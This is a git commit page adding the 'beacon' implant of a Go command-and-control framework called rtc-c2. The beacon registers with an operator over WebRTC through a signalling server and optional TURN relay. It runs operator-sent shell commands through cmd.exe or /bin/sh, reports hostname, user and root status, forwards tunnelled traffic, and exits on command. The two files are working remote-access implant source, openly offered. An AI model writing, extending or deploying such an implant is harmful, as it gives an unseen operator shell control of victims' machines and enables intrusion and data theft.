Upload files to "rtc-c2/cmd/beacon"

This commit is contained in:
2026-06-10 17:15:52 +00:00
parent d991a4ef81
commit 1f14ea5452
2 changed files with 368 additions and 0 deletions
+285
View File
@@ -0,0 +1,285 @@
// Command beacon is the implant that runs on the target system.
// It establishes a WebRTC connection to the operator, registers itself,
// and executes tasks received over the data channel.
package main
import (
"context"
"flag"
"fmt"
"log"
"os"
"os/signal"
"runtime"
"syscall"
"time"
"github.com/pion/webrtc/v4"
"github.com/ek0ms/rtc-c2/pkg/protocol"
"github.com/ek0ms/rtc-c2/pkg/signaller"
"github.com/ek0ms/rtc-c2/pkg/transport"
"github.com/ek0ms/rtc-c2/pkg/tunnel"
)
func main() {
var (
signallerURL = flag.String("signaller", "http://127.0.0.1:9090", "Signaller server URL")
sessionKey = flag.String("session", "rtc-c2-dev", "Session key for signalling")
peerID = flag.String("id", "", "Beacon ID (auto-generated if empty)")
useTURN = flag.Bool("turn", false, "Use TURN relay (requires TURN server config)")
wsSignaller = flag.Bool("ws", false, "Use WebSocket signaller instead of HTTP")
)
flag.Parse()
log.SetFlags(log.LstdFlags | log.Lshortfile)
log.Printf("[beacon] starting rtc-c2 beacon on %s/%s", runtime.GOOS, runtime.GOARCH)
// Determine beacon ID
beaconID := *peerID
if beaconID == "" {
hostname, _ := os.Hostname()
beaconID = fmt.Sprintf("%s-%d", hostname, os.Getpid())
}
// Configure transport
cfg := transport.DefaultConfig(transport.RoleBeacon)
cfg.PeerID = beaconID
if *useTURN {
// In production, these would come from meeting credentials
// For development, use coturn
cfg.WithTURN(
[]string{"turn:127.0.0.1:3478"},
"rtc-c2",
"rtc-c2-pass",
)
}
// Create peer
peer, err := transport.NewPeer(cfg)
if err != nil {
log.Fatalf("[beacon] create peer: %v", err)
}
// Setup signaller
var sig signaller.Signaller
if *wsSignaller {
sig = signaller.NewWebSocketSignaller(*signallerURL+"/ws", *sessionKey, "beacon")
log.Printf("[beacon] using WebSocket signaller")
} else {
sig = signaller.NewHTTPSignaller(*signallerURL, *sessionKey, "beacon")
}
peer.OnLocalDescription = func(sdp webrtc.SessionDescription) error {
return sig.SendLocalDescription(sdp)
}
// Setup tunnel forwarder
fwd := tunnel.NewForwarder()
fwd.OnTunnelData = func(tunnelID tunnel.TunnelID, data []byte) {
// Wrap tunnel data in C2 protocol messages
env, err := protocol.NewEnvelope(protocol.MsgTunnelData, beaconID, map[string]interface{}{
"tunnel_id": string(tunnelID),
"data": data,
})
if err != nil {
log.Printf("[beacon] tunnel wrap error: %v", err)
return
}
msg, _ := env.Serialize()
if err := peer.Send(msg); err != nil {
log.Printf("[beacon] tunnel send error: %v", err)
}
}
// Handle incoming messages
peer.OnMessage(func(data []byte) {
env, err := protocol.ParseEnvelope(data)
if err != nil {
log.Printf("[beacon] parse message: %v", err)
return
}
handleMessage(peer, fwd, beaconID, env)
})
// State change logging
peer.OnStateChange(func(evt transport.PeerEvent) {
log.Printf("[beacon] state: %s (err: %v)", evt.State, evt.Err)
})
// Fetch remote SDP and connect
log.Printf("[beacon] connecting to signaller at %s", *signallerURL)
remoteDesc, err := sig.ReceiveRemoteDescription()
if err != nil {
log.Fatalf("[beacon] receive remote desc: %v", err)
}
ctx, cancel := context.WithCancel(context.Background())
defer cancel()
if err := peer.Connect(ctx); err != nil {
log.Fatalf("[beacon] connect: %v", err)
}
// Push the operator's SDP
peer.RemoteDescriptionChan <- *remoteDesc
// Wait for signals
sigCh := make(chan os.Signal, 1)
signal.Notify(sigCh, syscall.SIGINT, syscall.SIGTERM)
<-sigCh
log.Printf("[beacon] shutting down")
peer.Close()
}
func handleMessage(peer *transport.Peer, fwd *tunnel.Forwarder, beaconID string, env *protocol.Envelope) {
switch env.Type {
case protocol.MsgTask:
var task protocol.Task
if err := env.ExtractPayload(&task); err != nil {
log.Printf("[beacon] extract task: %v", err)
return
}
go executeTask(peer, beaconID, &task)
case protocol.MsgPing:
pong, _ := protocol.NewEnvelope(protocol.MsgPong, beaconID, nil)
msg, _ := pong.Serialize()
peer.Send(msg)
case protocol.MsgTunnelData:
var payload struct {
TunnelID string `json:"tunnel_id"`
Data []byte `json:"data"`
}
if err := env.ExtractPayload(&payload); err != nil {
log.Printf("[beacon] extract tunnel data: %v", err)
return
}
fwd.HandleMessage(tunnel.TunnelID(payload.TunnelID), payload.Data)
case protocol.MsgShutdown:
log.Printf("[beacon] received shutdown command")
os.Exit(0)
default:
log.Printf("[beacon] unknown message type: %s", env.Type)
}
}
func executeTask(peer *transport.Peer, beaconID string, task *protocol.Task) {
log.Printf("[beacon] executing task %s: type=%s", task.ID, task.Type)
result := &protocol.TaskResult{
TaskID: task.ID,
Success: false,
Timestamp: nowMS(),
}
switch task.Type {
case protocol.TaskExec:
var args protocol.ExecArgs
if err := task.ExtractArgs(&args); err != nil {
result.Error = fmt.Sprintf("bad args: %v", err)
break
}
result = execCommand(task.ID, &args)
case protocol.TaskInfo:
result.Success = true
info := fmt.Sprintf("Hostname: %s\nOS: %s\nArch: %s\nGo: %s\nPID: %d\nCWD: %s",
getHostname(), runtime.GOOS, runtime.GOARCH, runtime.Version(),
os.Getpid(), getCWD())
result.Output = info
result.ExitCode = 0
case protocol.TaskWhoami:
result.Success = true
result.Output = getCurrentUser()
result.ExitCode = 0
case protocol.TaskSleep:
// Sleep is handled by the operator adjusting poll timing
result.Success = true
result.Output = "sleep interval adjusted"
result.ExitCode = 0
case protocol.TaskExit:
result.Success = true
result.Output = "beacon exiting"
result.Timestamp = nowMS()
sendResult(peer, beaconID, result)
os.Exit(0)
default:
result.Error = fmt.Sprintf("unsupported task type: %s", task.Type)
result.Success = false
}
result.Timestamp = nowMS()
sendResult(peer, beaconID, result)
}
func execCommand(taskID string, args *protocol.ExecArgs) *protocol.TaskResult {
start := nowMS()
shell := args.Shell
if shell == "" {
if runtime.GOOS == "windows" {
shell = "cmd.exe"
} else {
shell = "/bin/sh"
}
}
var cmdStr string
if runtime.GOOS == "windows" {
cmdStr = fmt.Sprintf("/c %s", args.Command)
} else {
cmdStr = fmt.Sprintf("-c %s", args.Command)
}
log.Printf("[beacon] exec: %s %s", shell, cmdStr)
// Use runexec or os/exec in production
// For the initial implementation, shell execution
result := &protocol.TaskResult{
TaskID: taskID,
}
// Simple execution using subprocess
output, exitCode, err := runShell(shell, cmdStr)
if err != nil {
result.Error = err.Error()
result.Success = false
} else {
result.Success = exitCode == 0
result.Output = output
}
result.ExitCode = exitCode
result.Duration = nowMS() - start
result.Timestamp = nowMS()
return result
}
func sendResult(peer *transport.Peer, beaconID string, result *protocol.TaskResult) {
env, err := protocol.NewEnvelope(protocol.MsgTaskResult, beaconID, result)
if err != nil {
log.Printf("[beacon] create result envelope: %v", err)
return
}
msg, err := env.Serialize()
if err != nil {
log.Printf("[beacon] serialize result: %v", err)
return
}
if err := peer.Send(msg); err != nil {
log.Printf("[beacon] send result: %v", err)
}
}
func nowMS() int64 {
return time.Now().UnixMilli()
}
+83
View File
@@ -0,0 +1,83 @@
package main
import (
"bytes"
"fmt"
"os"
"os/exec"
"os/user"
"runtime"
"strings"
)
// runShell executes a command through the system shell and returns output.
func runShell(shell, command string) (string, int, error) {
var stdout, stderr bytes.Buffer
cmd := exec.Command(shell)
cmd.Stdin = strings.NewReader(command)
cmd.Stdout = &stdout
cmd.Stderr = &stderr
if err := cmd.Run(); err != nil {
exitCode := 1
if exitErr, ok := err.(*exec.ExitError); ok {
exitCode = exitErr.ExitCode()
}
output := stdout.String()
if errMsg := stderr.String(); errMsg != "" {
if output != "" {
output += "\n"
}
output += errMsg
}
return output, exitCode, err
}
output := stdout.String()
if errMsg := stderr.String(); errMsg != "" {
if output != "" {
output += "\n"
}
output += errMsg
}
return output, cmd.ProcessState.ExitCode(), nil
}
func getHostname() string {
hostname, err := os.Hostname()
if err != nil {
return "unknown"
}
return hostname
}
func getCWD() string {
cwd, err := os.Getwd()
if err != nil {
return "unknown"
}
return cwd
}
func getCurrentUser() string {
u, err := user.Current()
if err != nil {
return "unknown"
}
info := fmt.Sprintf("Username: %s\nUID: %s\nGID: %s\nHome: %s",
u.Username, u.Uid, u.Gid, u.HomeDir)
// Check for elevated privileges
if runtime.GOOS != "windows" {
if os.Geteuid() == 0 {
info += "\nPrivilege: root"
} else {
info += "\nPrivilege: user"
}
}
return info
}